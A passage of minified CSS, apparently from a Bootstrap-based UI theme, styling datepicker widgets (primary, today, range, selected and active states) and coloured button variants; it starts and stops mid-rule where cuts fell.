div,.datepicker.datepicker-primary table tr td.new div,.datepicker.datepicker-primary table tr td span.old,.datepicker.datepicker-primary table tr td span.new{color:rgba(255,255,255,.4)}.datepicker.datepicker-primary table tr td span:hover,.datepicker.datepicker-primary table tr td span.focused{background:rgba(255,255,255,.1)}.datepicker.datepicker-primary .datepicker-switch:hover,.datepicker.datepicker-primary .prev:hover,.datepicker.datepicker-primary .next:hover,.datepicker.datepicker-primary tfoot tr th:hover{background:rgba(255,255,255,.2)}.datepicker.datepicker-primary table tr td.active div,.datepicker.datepicker-primary table tr td.active:hover div,.datepicker.datepicker-primary table tr td.active.disabled div,.datepicker.datepicker-primary table tr td.active.disabled:hover div{background-color:#fff;color:#f96332}.datepicker.datepicker-primary table tr td.day:hover div,.datepicker.datepicker-primary table tr td.day.focused div{background:rgba(255,255,255,.2)}.datepicker.datepicker-primary table tr td.active:hover div,.datepicker.datepicker-primary table tr td.active:hover:hover div,.datepicker.datepicker-primary table tr td.active.disabled:hover div,.datepicker.datepicker-primary table tr td.active.disabled:hover:hover div,.datepicker.datepicker-primary table tr td.active:active div,.datepicker.datepicker-primary table tr td.active:hover:active div,.datepicker.datepicker-primary table tr td.active.disabled:active div,.datepicker.datepicker-primary table tr td.active.disabled:hover:active div,.datepicker.datepicker-primary table tr td.active.active div,.datepicker.datepicker-primary table tr td.active:hover.active div,.datepicker.datepicker-primary table tr td.active.disabled.active div,.datepicker.datepicker-primary table tr td.active.disabled:hover.active div,.datepicker.datepicker-primary table tr td.active.disabled div,.datepicker.datepicker-primary table tr td.active:hover.disabled div,.datepicker.datepicker-primary table tr td.active.disabled.disabled div,.datepicker.datepicker-primary table tr td.active.disabled:hover.disabled div,.datepicker.datepicker-primary table tr td.active[disabled] div,.datepicker.datepicker-primary table tr td.active:hover[disabled] div,.datepicker.datepicker-primary table tr td.active.disabled[disabled] div,.datepicker.datepicker-primary table tr td.active.disabled:hover[disabled] div,.datepicker.datepicker-primary table tr td span.active:hover,.datepicker.datepicker-primary table tr td span.active:hover:hover,.datepicker.datepicker-primary table tr td span.active.disabled:hover,.datepicker.datepicker-primary table tr td span.active.disabled:hover:hover,.datepicker.datepicker-primary table tr td span.active:active,.datepicker.datepicker-primary table tr td span.active:hover:active,.datepicker.datepicker-primary table tr td span.active.disabled:active,.datepicker.datepicker-primary table tr td span.active.disabled:hover:active,.datepicker.datepicker-primary table tr td span.active.active,.datepicker.datepicker-primary table tr td span.active:hover.active,.datepicker.datepicker-primary table tr td span.active.disabled.active,.datepicker.datepicker-primary table tr td span.active.disabled:hover.active,.datepicker.datepicker-primary table tr td span.active.disabled,.datepicker.datepicker-primary table tr td span.active:hover.disabled,.datepicker.datepicker-primary table tr td span.active.disabled.disabled,.datepicker.datepicker-primary table tr td span.active.disabled:hover.disabled,.datepicker.datepicker-primary table tr td span.active[disabled],.datepicker.datepicker-primary table tr td span.active:hover[disabled],.datepicker.datepicker-primary table tr td span.active.disabled[disabled],.datepicker.datepicker-primary table tr td span.active.disabled:hover[disabled]{background-color:#fff}.datepicker.datepicker-primary table tr td span.active:hover,.datepicker.datepicker-primary table tr td span.active:hover:hover,.datepicker.datepicker-primary table tr td span.active.disabled:hover,.datepicker.datepicker-primary table tr td span.active.disabled:hover:hover,.datepicker.datepicker-primary table tr td span.active:active,.datepicker.datepicker-primary table tr td span.active:hover:active,.datepicker.datepicker-primary table tr td span.active.disabled:active,.datepicker.datepicker-primary table tr td span.active.disabled:hover:active,.datepicker.datepicker-primary table tr td span.active.active,.datepicker.datepicker-primary table tr td span.active:hover.active,.datepicker.datepicker-primary table tr td span.active.disabled.active,.datepicker.datepicker-primary table tr td span.active.disabled:hover.active,.datepicker.datepicker-primary table tr td span.active.disabled,.datepicker.datepicker-primary table tr td span.active:hover.disabled,.datepicker.datepicker-primary table tr td span.active.disabled.disabled,.datepicker.datepicker-primary table tr td span.active.disabled:hover.disabled,.datepicker.datepicker-primary table tr td span.active[disabled],.datepicker.datepicker-primary table tr td span.active:hover[disabled],.datepicker.datepicker-primary table tr td span.active.disabled[disabled],.datepicker.datepicker-primary table tr td span.active.disabled:hover[disabled]{color:#f96332}.datepicker-inline{width:220px}.datepicker.datepicker-rtl{direction:rtl}.datepicker.datepicker-rtl.dropdown-menu{left:auto}.datepicker.datepicker-rtl table tr td span{float:right}.datepicker-dropdown{top:0;left:0}.datepicker-dropdown:before{content:'';display:inline-block;border-left:7px solid transparent;border-right:7px solid transparent;border-bottom:7px solid transparent;border-top:0;border-bottom-color:rgba(0,0,0,.2);position:absolute}.datepicker-dropdown:after{content:'';display:inline-block;border-left:6px solid transparent;border-right:6px solid transparent;border-bottom:6px solid #fff;border-top:0;position:absolute}.datepicker-dropdown.datepicker-orient-left:before{left:6px}.datepicker-dropdown.datepicker-orient-left:after{left:7px}.datepicker-dropdown.datepicker-orient-right:before{right:6px}.datepicker-dropdown.datepicker-orient-right:after{right:7px}.datepicker-dropdown.datepicker-orient-bottom:before{top:-7px}.datepicker-dropdown.datepicker-orient-bottom:after{top:-6px}.datepicker-dropdown.datepicker-orient-top:before{bottom:-7px;border-bottom:0;border-top:7px solid transparent}.datepicker-dropdown.datepicker-orient-top:after{bottom:-6px;border-bottom:0;border-top:6px solid #fff}.datepicker table{margin:0;-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:241px;max-width:241px}.datepicker .day div,.datepicker th{-webkit-transition:all 300ms ease 0s;-moz-transition:all 300ms ease 0s;-o-transition:all 300ms ease 0s;-ms-transition:all 300ms ease 0s;transition:all 300ms ease 0s;text-align:center;width:30px;height:30px;line-height:2.2;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:50%;font-weight:300;font-size:14px;border:none;position:relative;cursor:pointer}.datepicker th{color:#f96332}.table-condensed>tbody>tr>td,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>td,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>thead>tr>th{padding:2px;text-align:center;cursor:pointer}.table-striped .datepicker table tr td,.table-striped .datepicker table tr th{background-color:transparent}.datepicker table tr td.day:hover div,.datepicker table tr td.day.focused div{background:#eee;cursor:pointer}.datepicker table tr td.old,.datepicker table tr td.new{color:#888}.datepicker table tr td.disabled,.datepicker table tr td.disabled:hover{background:0 0;color:#888;cursor:default}.datepicker table tr td.highlighted{background:#d9edf7;border-radius:0}.datepicker table tr td.today,.datepicker table tr td.today:hover,.datepicker table tr td.today.disabled,.datepicker table tr td.today.disabled:hover{background-color:#fde19a;background-image:-moz-linear-gradient(to bottom,#fdd49a,#fdf59a);background-image:-ms-linear-gradient(to bottom,#fdd49a,#fdf59a);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fdd49a),to(#fdf59a));background-image:-webkit-linear-gradient(to bottom,#fdd49a,#fdf59a);background-image:-o-linear-gradient(to bottom,#fdd49a,#fdf59a);background-image:linear-gradient(to bottom,#fdd49a,#fdf59a);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fdd49a',endColorstr='#fdf59a',GradientType=0);border-color:#fdf59a #fdf59a #fbed50;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);color:#000}.datepicker table tr td.today:hover,.datepicker table tr td.today:hover:hover,.datepicker table tr td.today.disabled:hover,.datepicker table tr td.today.disabled:hover:hover,.datepicker table tr td.today:active,.datepicker table tr td.today:hover:active,.datepicker table tr td.today.disabled:active,.datepicker table tr td.today.disabled:hover:active,.datepicker table tr td.today.active,.datepicker table tr td.today:hover.active,.datepicker table tr td.today.disabled.active,.datepicker table tr td.today.disabled:hover.active,.datepicker table tr td.today.disabled,.datepicker table tr td.today:hover.disabled,.datepicker table tr td.today.disabled.disabled,.datepicker table tr td.today.disabled:hover.disabled,.datepicker table tr td.today[disabled],.datepicker table tr td.today:hover[disabled],.datepicker table tr td.today.disabled[disabled],.datepicker table tr td.today.disabled:hover[disabled]{background-color:#fdf59a}.datepicker table tr td.today:active,.datepicker table tr td.today:hover:active,.datepicker table tr td.today.disabled:active,.datepicker table tr td.today.disabled:hover:active,.datepicker table tr td.today.active,.datepicker table tr td.today:hover.active,.datepicker table tr td.today.disabled.active,.datepicker table tr td.today.disabled:hover.active{background-color:#fbf069 \9}.datepicker table tr td.today:hover:hover{color:#000}.datepicker table tr td.today.active:hover{color:#fff}.datepicker table tr td.range,.datepicker table tr td.range:hover,.datepicker table tr td.range.disabled,.datepicker table tr td.range.disabled:hover{background:#eee;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.datepicker table tr td.range.today,.datepicker table tr td.range.today:hover,.datepicker table tr td.range.today.disabled,.datepicker table tr td.range.today.disabled:hover{background-color:#f3d17a;background-image:-moz-linear-gradient(to bottom,#f3c17a,#f3e97a);background-image:-ms-linear-gradient(to bottom,#f3c17a,#f3e97a);background-image:-webkit-gradient(linear,0 0,0 100%,from(#f3c17a),to(#f3e97a));background-image:-webkit-linear-gradient(to bottom,#f3c17a,#f3e97a);background-image:-o-linear-gradient(to bottom,#f3c17a,#f3e97a);background-image:linear-gradient(to bottom,#f3c17a,#f3e97a);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3c17a',endColorstr='#f3e97a',GradientType=0);border-color:#f3e97a #f3e97a #edde34;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.datepicker table tr td.range.today:hover,.datepicker table tr td.range.today:hover:hover,.datepicker table tr td.range.today.disabled:hover,.datepicker table tr td.range.today.disabled:hover:hover,.datepicker table tr td.range.today:active,.datepicker table tr td.range.today:hover:active,.datepicker table tr td.range.today.disabled:active,.datepicker table tr td.range.today.disabled:hover:active,.datepicker table tr td.range.today.active,.datepicker table tr td.range.today:hover.active,.datepicker table tr td.range.today.disabled.active,.datepicker table tr td.range.today.disabled:hover.active,.datepicker table tr td.range.today.disabled,.datepicker table tr td.range.today:hover.disabled,.datepicker table tr td.range.today.disabled.disabled,.datepicker table tr td.range.today.disabled:hover.disabled,.datepicker table tr td.range.today[disabled],.datepicker table tr td.range.today:hover[disabled],.datepicker table tr td.range.today.disabled[disabled],.datepicker table tr td.range.today.disabled:hover[disabled]{background-color:#f3e97a}.datepicker table tr td.range.today:active,.datepicker table tr td.range.today:hover:active,.datepicker table tr td.range.today.disabled:active,.datepicker table tr td.range.today.disabled:hover:active,.datepicker table tr td.range.today.active,.datepicker table tr td.range.today:hover.active,.datepicker table tr td.range.today.disabled.active,.datepicker table tr td.range.today.disabled:hover.active{background-color:#efe24b \9}.datepicker table tr td.selected,.datepicker table tr td.selected:hover,.datepicker table tr td.selected.disabled,.datepicker table tr td.selected.disabled:hover{background-color:#9e9e9e;background-image:-moz-linear-gradient(to bottom,#b3b3b3,#808080);background-image:-ms-linear-gradient(to bottom,#b3b3b3,#808080);background-image:-webkit-gradient(linear,0 0,0 100%,from(#b3b3b3),to(#808080));background-image:-webkit-linear-gradient(to bottom,#b3b3b3,#808080);background-image:-o-linear-gradient(to bottom,#b3b3b3,#808080);background-image:linear-gradient(to bottom,#b3b3b3,#808080);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#b3b3b3',endColorstr='#808080',GradientType=0);border-color:gray gray #595959;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25)}.datepicker table tr td.selected:hover,.datepicker table tr td.selected:hover:hover,.datepicker table tr td.selected.disabled:hover,.datepicker table tr td.selected.disabled:hover:hover,.datepicker table tr td.selected:active,.datepicker table tr td.selected:hover:active,.datepicker table tr td.selected.disabled:active,.datepicker table tr td.selected.disabled:hover:active,.datepicker table tr td.selected.active,.datepicker table tr td.selected:hover.active,.datepicker table tr td.selected.disabled.active,.datepicker table tr td.selected.disabled:hover.active,.datepicker table tr td.selected.disabled,.datepicker table tr td.selected:hover.disabled,.datepicker table tr td.selected.disabled.disabled,.datepicker table tr td.selected.disabled:hover.disabled,.datepicker table tr td.selected[disabled],.datepicker table tr td.selected:hover[disabled],.datepicker table tr td.selected.disabled[disabled],.datepicker table tr td.selected.disabled:hover[disabled]{background-color:gray}.datepicker table tr td.selected:active,.datepicker table tr td.selected:hover:active,.datepicker table tr td.selected.disabled:active,.datepicker table tr td.selected.disabled:hover:active,.datepicker table tr td.selected.active,.datepicker table tr td.selected:hover.active,.datepicker table tr td.selected.disabled.active,.datepicker table tr td.selected.disabled:hover.active{background-color:#666 \9}.datepicker table tr td.active div,.datepicker table tr td.active:hover div,.datepicker table tr td.active.disabled div,.datepicker table tr td.active.disabled:hover div{background-color:#f96332;color:#fff;box-shadow:0 1px 10px 0 rgba(0,0,0,.2)}.datepicker table tr td.active:hover div,.datepicker table tr td.active:hover:hover div,.datepicker table tr td.active.disabled:hover div,.datepicker table tr td.active.disabled:hover:hover div,.datepicker table tr td.active:active div,.datepicker table tr td.active:hover:active div,.datepicker table tr td.active.disabled:active div,.datepicker table tr td.active.disabled:hover:active div,.datepicker table tr td.active.active div,.datepicker table tr td.active:hover.active div,.datepicker table tr td.active.disabled.active div,.datepicker table tr td.active.disabled:hover.active div,.datepicker table tr td.active.disabled div,.datepicker table tr td.active:hover.disabled div,.datepicker table tr td.active.disabled.disabled div,.datepicker table tr td.active.disabled:hover.disabled div,.datepicker table tr td.active[disabled] div,.datepicker table tr td.active:hover[disabled] div,.datepicker table tr td.active.disabled[disabled] div,.datepicker table tr td.active.disabled:hover[disabled] div{background-color:#f96332}.datepicker table tr td.active:active,.datepicker table tr td.active:hover:active,.datepicker table tr td.active.disabled:active,.datepicker table tr td.active.disabled:hover:active,.datepicker table tr td.active.active,.datepicker table tr td.active:hover.active,.datepicker table tr td.active.disabled.active,.datepicker table tr td.active.disabled:hover.active{background-color:#039 \9}.datepicker table tr td span{display:block;width:41px;height:41px;line-height:41px;float:left;margin:1%;font-size:14px;cursor:pointer;-webkit-border-radius:50%;-moz-border-radius:50%;border-radius:50%}.datepicker table tr td span:hover,.datepicker table tr td span.focused{background:#eee}.datepicker table tr td span.disabled,.datepicker table tr td span.disabled:hover{background:0 0;color:#888;cursor:default}.datepicker table tr td span.active,.datepicker table tr td span.active:hover,.datepicker table tr td span.active.disabled,.datepicker table tr td span.active.disabled:hover{color:#fff;background-color:#f96332}.datepicker table tr td span.active:hover,.datepicker table tr td span.active:hover:hover,.datepicker table tr td span.active.disabled:hover,.datepicker table tr td span.active.disabled:hover:hover,.datepicker table tr td span.active:active,.datepicker table tr td span.active:hover:active,.datepicker table tr td span.active.disabled:active,.datepicker table tr td span.active.disabled:hover:active,.datepicker table tr td span.active.active,.datepicker table tr td span.active:hover.active,.datepicker table tr td span.active.disabled.active,.datepicker table tr td span.active.disabled:hover.active,.datepicker table tr td span.active.disabled,.datepicker table tr td span.active:hover.disabled,.datepicker table tr td span.active.disabled.disabled,.datepicker table tr td span.active.disabled:hover.disabled,.datepicker table tr td span.active[disabled],.datepicker table tr td span.active:hover[disabled],.datepicker table tr td span.active.disabled[disabled],.datepicker table tr td span.active.disabled:hover[disabled]{background-color:#f96332;box-shadow:0 1px 10px 0 rgba(0,0,0,.2)}.datepicker table tr td span.active:active,.datepicker table tr td span.active:hover:active,.datepicker table tr td span.active.disabled:active,.datepicker table tr td span.active.disabled:hover:active,.datepicker table tr td span.active.active,.datepicker table tr td span.active:hover.active,.datepicker table tr td span.active.disabled.active,.datepicker table tr td span.active.disabled:hover.active{background-color:#039 \9}.datepicker table tr td span.old,.datepicker table tr td span.new{color:#888}.datepicker .datepicker-switch{width:auto;border-radius:.1875rem}.datepicker .datepicker-switch,.datepicker .prev,.datepicker .next,.datepicker tfoot tr th{cursor:pointer}.datepicker .prev,.datepicker .next{width:35px;height:35px}.datepicker i{position:relative;top:2px}.datepicker .prev i{left:-1px}.datepicker .next i{right:-1px}.datepicker .datepicker-switch:hover,.datepicker .prev:hover,.datepicker .next:hover,.datepicker tfoot tr th:hover{background:#eee}.datepicker .prev.disabled,.datepicker .next.disabled{visibility:hidden}.datepicker .cw{font-size:10px;width:12px;padding:0 2px 0 5px;vertical-align:middle}.input-append.date .add-on,.input-prepend.date .add-on{cursor:pointer}.input-append.date .add-on i,.input-prepend.date .add-on i{margin-top:3px}.input-daterange input{text-align:center}.input-daterange input:first-child{-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px}.input-daterange input:last-child{-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0}.input-daterange .add-on{display:inline-block;width:auto;min-width:16px;height:18px;padding:4px 5px;font-weight:400;line-height:18px;text-align:center;text-shadow:0 1px 0 #fff;vertical-align:middle;background-color:#eee;border:1px solid #ccc;margin-left:-5px;margin-right:-5px}.btn,.navbar .navbar-nav>a.btn{border-width:2px;font-weight:400;font-size:.8571em;line-height:1.35em;margin:5px 1px;border:none;border-radius:.1875rem;padding:11px 22px;cursor:pointer;background-color:#888;color:#fff}.btn:hover,.btn:focus,.btn:active,.btn.active,.btn:active:focus,.btn:active:hover,.btn.active:focus,.btn.active:hover,.show>.btn.dropdown-toggle,.show>.btn.dropdown-toggle:focus,.show>.btn.dropdown-toggle:hover,.navbar .navbar-nav>a.btn:hover,.navbar .navbar-nav>a.btn:focus,.navbar .navbar-nav>a.btn:active,.navbar .navbar-nav>a.btn.active,.navbar .navbar-nav>a.btn:active:focus,.navbar .navbar-nav>a.btn:active:hover,.navbar .navbar-nav>a.btn.active:focus,.navbar .navbar-nav>a.btn.active:hover,.show>.navbar .navbar-nav>a.btn.dropdown-toggle,.show>.navbar .navbar-nav>a.btn.dropdown-toggle:focus,.show>.navbar .navbar-nav>a.btn.dropdown-toggle:hover{background-color:#979797;color:#fff;box-shadow:none}.btn:hover,.navbar .navbar-nav>a.btn:hover{box-shadow:0 3px 8px 0 rgba(0,0,0,.17)}.btn.disabled,.btn.disabled:hover,.btn.disabled:focus,.btn.disabled.focus,.btn.disabled:active,.btn.disabled.active,.btn:disabled,.btn:disabled:hover,.btn:disabled:focus,.btn:disabled.focus,.btn:disabled:active,.btn:disabled.active,.btn[disabled],.btn[disabled]:hover,.btn[disabled]:focus,.btn[disabled].focus,.btn[disabled]:active,.btn[disabled].active,fieldset[disabled] .btn,fieldset[disabled] .btn:hover,fieldset[disabled] .btn:focus,fieldset[disabled] .btn.focus,fieldset[disabled] .btn:active,fieldset[disabled] .btn.active,.navbar .navbar-nav>a.btn.disabled,.navbar .navbar-nav>a.btn.disabled:hover,.navbar .navbar-nav>a.btn.disabled:focus,.navbar .navbar-nav>a.btn.disabled.focus,.navbar .navbar-nav>a.btn.disabled:active,.navbar .navbar-nav>a.btn.disabled.active,.navbar .navbar-nav>a.btn:disabled,.navbar .navbar-nav>a.btn:disabled:hover,.navbar .navbar-nav>a.btn:disabled:focus,.navbar .navbar-nav>a.btn:disabled.focus,.navbar .navbar-nav>a.btn:disabled:active,.navbar .navbar-nav>a.btn:disabled.active,.navbar .navbar-nav>a.btn[disabled],.navbar .navbar-nav>a.btn[disabled]:hover,.navbar .navbar-nav>a.btn[disabled]:focus,.navbar .navbar-nav>a.btn[disabled].focus,.navbar .navbar-nav>a.btn[disabled]:active,.navbar .navbar-nav>a.btn[disabled].active,fieldset[disabled] .navbar .navbar-nav>a.btn,fieldset[disabled] .navbar .navbar-nav>a.btn:hover,fieldset[disabled] .navbar .navbar-nav>a.btn:focus,fieldset[disabled] .navbar .navbar-nav>a.btn.focus,fieldset[disabled] .navbar .navbar-nav>a.btn:active,fieldset[disabled] .navbar .navbar-nav>a.btn.active{background-color:#888;border-color:#888}.btn.btn-simple,.navbar .navbar-nav>a.btn.btn-simple{color:#888;border-color:#888}.btn.btn-simple:hover,.btn.btn-simple:focus,.btn.btn-simple:active,.navbar .navbar-nav>a.btn.btn-simple:hover,.navbar .navbar-nav>a.btn.btn-simple:focus,.navbar .navbar-nav>a.btn.btn-simple:active{background-color:transparent;color:#979797;border-color:#979797;box-shadow:none}.btn.btn-link,.navbar .navbar-nav>a.btn.btn-link{color:#888}.btn.btn-link:hover,.btn.btn-link:focus,.btn.btn-link:active,.navbar .navbar-nav>a.btn.btn-link:hover,.navbar .navbar-nav>a.btn.btn-link:focus,.navbar .navbar-nav>a.btn.btn-link:active{background-color:transparent;color:#979797;text-decoration:none;box-shadow:none}.btn:hover,.btn:focus,.navbar .navbar-nav>a.btn:hover,.navbar .navbar-nav>a.btn:focus{opacity:1;filter:alpha(opacity=100);outline:0!important}.btn:active,.btn.active,.open>.btn.dropdown-toggle,.navbar .navbar-nav>a.btn:active,.navbar .navbar-nav>a.btn.active,.open>.navbar .navbar-nav>a.btn.dropdown-toggle{-webkit-box-shadow:none;box-shadow:none;outline:0!important}.btn.btn-icon,.navbar .navbar-nav>a.btn.btn-icon{height:2.375rem;min-width:2.375rem;width:2.375rem;padding:0;font-size:.9375rem;overflow:hidden;position:relative;line-height:normal}.btn.btn-icon.btn-simple,.navbar .navbar-nav>a.btn.btn-icon.btn-simple{padding:0}.btn.btn-icon.btn-sm,.navbar .navbar-nav>a.btn.btn-icon.btn-sm{height:1.875rem;min-width:1.875rem;width:1.875rem}.btn.btn-icon.btn-sm i.fa,.btn.btn-icon.btn-sm i.now-ui-icons,.navbar .navbar-nav>a.btn.btn-icon.btn-sm i.fa,.navbar .navbar-nav>a.btn.btn-icon.btn-sm i.now-ui-icons{font-size:.6875rem}.btn.btn-icon.btn-lg,.navbar .navbar-nav>a.btn.btn-icon.btn-lg{height:3.6rem;min-width:3.6rem;width:3.6rem}.btn.btn-icon.btn-lg i.now-ui-icons,.btn.btn-icon.btn-lg i.fa,.navbar .navbar-nav>a.btn.btn-icon.btn-lg i.now-ui-icons,.navbar .navbar-nav>a.btn.btn-icon.btn-lg i.fa{font-size:1.325rem}.btn.btn-icon:not(.btn-footer) i.now-ui-icons,.btn.btn-icon:not(.btn-footer) i.fa,.navbar .navbar-nav>a.btn.btn-icon:not(.btn-footer) i.now-ui-icons,.navbar .navbar-nav>a.btn.btn-icon:not(.btn-footer) i.fa{position:absolute;top:50%;left:50%;transform:translate(-12px,-12px);line-height:1.5626rem;width:25px}.btn:not(.btn-icon) .now-ui-icons,.navbar .navbar-nav>a.btn:not(.btn-icon) .now-ui-icons{position:relative;top:1px}.btn-primary{background-color:#f96332;color:#fff}.btn-primary:hover,.btn-primary:focus,.btn-primary:active,.btn-primary.active,.btn-primary:active:focus,.btn-primary:active:hover,.btn-primary.active:focus,.btn-primary.active:hover,.show>.btn-primary.dropdown-toggle,.show>.btn-primary.dropdown-toggle:focus,.show>.btn-primary.dropdown-toggle:hover{background-color:#fa7a50;color:#fff;box-shadow:none}.btn-primary:hover{box-shadow:0 3px 8px 0 rgba(0,0,0,.17)}.btn-primary.disabled,.btn-primary.disabled:hover,.btn-primary.disabled:focus,.btn-primary.disabled.focus,.btn-primary.disabled:active,.btn-primary.disabled.active,.btn-primary:disabled,.btn-primary:disabled:hover,.btn-primary:disabled:focus,.btn-primary:disabled.focus,.btn-primary:disabled:active,.btn-primary:disabled.active,.btn-primary[disabled],.btn-primary[disabled]:hover,.btn-primary[disabled]:focus,.btn-primary[disabled].focus,.btn-primary[disabled]:active,.btn-primary[disabled].active,fieldset[disabled] .btn-primary,fieldset[disabled] .btn-primary:hover,fieldset[disabled] .btn-primary:focus,fieldset[disabled] .btn-primary.focus,fieldset[disabled] .btn-primary:active,fieldset[disabled] .btn-primary.active{background-color:#f96332;border-color:#f96332}.btn-primary.btn-simple{color:#f96332;border-color:#f96332}.btn-primary.btn-simple:hover,.btn-primary.btn-simple:focus,.btn-primary.btn-simple:active{background-color:transparent;color:#fa7a50;border-color:#fa7a50;box-shadow:none}.btn-primary.btn-link{color:#f96332}.btn-primary.btn-link:hover,.btn-primary.btn-link:focus,.btn-primary.btn-link:active{background-color:transparent;color:#fa7a50;text-decoration:none;box-shadow:none}.btn-success{background-color:#18ce0f;color:#fff}.btn-success:hover,.btn-success:focus,.btn-success:active,.btn-success.active,.btn-success:active:focus,.btn-success:active:hover,.btn-success.active:focus,.btn-success.active:hover,.show>.btn-success.dropdown-toggle,.show>.btn-success.dropdown-toggle:focus,.show>.btn-success.dropdown-toggle:hover{background-color:#1beb11;color:#fff;box-shadow:none}.btn-success:hover{box-shadow:0 3px 8px 0 rgba(0,0,0,.17)}.btn-success.disabled,.btn-success.disabled:hover,.btn-success.disabled:focus,.btn-success.disabled.focus,.btn-success.disabled:active,.btn-success.disabled.active,.btn-success:disabled,.btn-success:disabled:hover,.btn-success:disabled:focus,.btn-success:disabled.focus,.btn-success:disabled:active,.btn-success:disabled.active,.btn-success[disabled],.btn-success[disabled]:hover,.btn-success[disabled]:focus,.btn-success[disabled].focus,.btn-success[disabled]:active,.btn-success[disabled].active,fieldset[disabled] .btn-success,fieldset[disabled] .btn-success:hover,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-success.focus,fieldset[disabled] .btn-success:active,fieldset[disabled] .btn-success.active{background-color:#18ce0f;border-color:#18ce0f}.btn-success.btn-simple{color:#18ce0f;border-color:#18ce0f}.btn-success.btn-simple:hover,.btn-success.btn-simple:focus,.btn-success.btn-simple:active{background-color:transparent;color:#1beb11;border-color:#1beb11;box-shadow:none}.btn-success.btn-link{color:#18ce0f}.btn-success.btn-link:hover,.btn-success.btn-link:focus,.btn-success.btn-link:active{background-color:transparent;color:#1beb11;text-decoration:none;box-shadow:none}.btn-info{background-color:#2ca8ff;color:#fff}.btn-info:hover,.btn-info:focus,.btn-info:active,.btn-info.active,.btn-info:active:focus,.btn-info:active:hover,.btn-info.active:focus,.btn-info.active:hover,.show>.btn-info.dropdown-toggle,.show>.btn-info.dropdown-toggle:focus,.show>.btn-info.dropdown-toggle:hover{background-color:#4bb5ff;color:#fff;box-shadow:none}.btn-info:hover{box-shadow:0 3px 8px 0 rgba(0,0,0,.17)}.btn-info.disabled,.btn-info.disabled:hover,.btn-info.disabled:focus,.btn-info.disabled.focus,.btn-info.disabled:active,.btn-info.disabled.active,.btn-info:disabled,.btn-info:disabled:hover,.btn-info:disabled:focus,.btn-info:disabled.focus,.btn-info:disabled:active,.btn-info:disabled.active,.btn-info[disabled],.btn-info[disabled]:hover,.btn-info[disabled]:focus,.btn-info[disabled].focus,.btn-info[disabled]:active,.btn-info[disabled].active,fieldset[disabled] .btn-info,fieldset[disabled] .btn-info:hover,fieldset[disabled] .btn-info:focus,fieldset[disabled] .btn-info.focus,fieldset[disabled] .btn-info:active,fieldset[disabled] .btn-info.active{background-color:#2ca8ff;border-color:#2ca8ff}.btn-info.btn-simple{color:#2ca8ff;border-color:#2ca8ff}.btn-info.btn-simple:hover,.btn-info.btn-simple:focus,.btn-info.btn-simple:active{background-color:transparent;color:#4bb5ff;border-color:#4bb5ff;box-shadow:none}.btn-info.btn-link{color:#2ca8ff}.btn-info.btn-link:hover,.btn-info.btn-link:focus,.btn-info.btn-link:active{background-color:transparent;color:#4bb5ff;text-decoration:none;box-shadow:none}.btn-warning{background-color:#ffb236;color:#fff}.btn-warning:hover,.btn-warning:focus,.btn-warning:active,.btn-warning.active,.btn-warning:active:focus,.btn-warning:active:hover,.btn-warning.active:focus,.btn-warning.active:hover,.show>.btn-warning.dropdown-toggle,.show>.btn-warning.dropdown-toggle:focus,.show>.btn-warning.dropdown-toggle:hover{background-color:#ffbe55;color:#fff;box-shadow:none}.btn-warning:hover{box-shadow:0 3px 8px 0 rgba(0,0,0,.17)}.btn-warning.disabled,.btn-warning.disabled:hover,.btn-warning.disabled:focus,.btn-warning.disabled.focus,.btn-warning.disabled:active,.btn-warning.disabled.active,.btn-warning:disabled,.btn-warning:disabled:hover,.btn-warning:disabled:focus,.btn-warning:disabled.focus,.btn-warning:disabled:active,.btn-warning:disabled.active,.btn-warning[disabled],.btn-warning[disabled]:hover,.btn-warning[disabled]:focus,.btn-warning[disabled].focus,.btn-warning[disabled]:active,.btn-warning[disabled].active,fieldset[disabled] .btn-warning,fieldset[disabled] .btn-warning:hover,fieldset[disabled] .btn-warning:focus,fieldset[disabled] .btn-warning.focus,fieldset[disabled] .btn-warning:active,fieldset[disabled] .btn-warning.active{background-color:#ffb236;border-color:#ffb236}.btn-warning.btn-simple{color:#ffb236;border-color:#ffb236}.btn-warning.btn-simple:hover,.btn-warning.btn-simple:focus,.btn-warning.btn-simple:active{background-color:transparent;color:#ffbe55;border-color:#ffbe55;box-shadow:none}.btn-warning.btn-link{color:#ffb236}.btn-warning.btn-link:hover,.btn-warning.btn-link:focus,.btn-warning.btn-link:active{background-color:transparent;color:#ffbe55;text-decoration:none;box-shadow:none}.btn-danger{background-color:#ff3636;color:#fff}.btn-danger:hover,.btn-danger:focus,.btn-danger:active,.btn-danger.active,.btn-danger:active:focus,.btn-danger:active:hover,.btn-danger.active:focus,.btn-danger.active:hover,.show>.btn-danger.dropdown-toggle,.show>.btn-danger.dropdown-toggle:focus,.show>.btn-danger.dropdown-toggle:hover{background-color:#f55;color:#fff;box-shadow:none}.btn-danger:hover{box-shadow:0 3px 8px 0 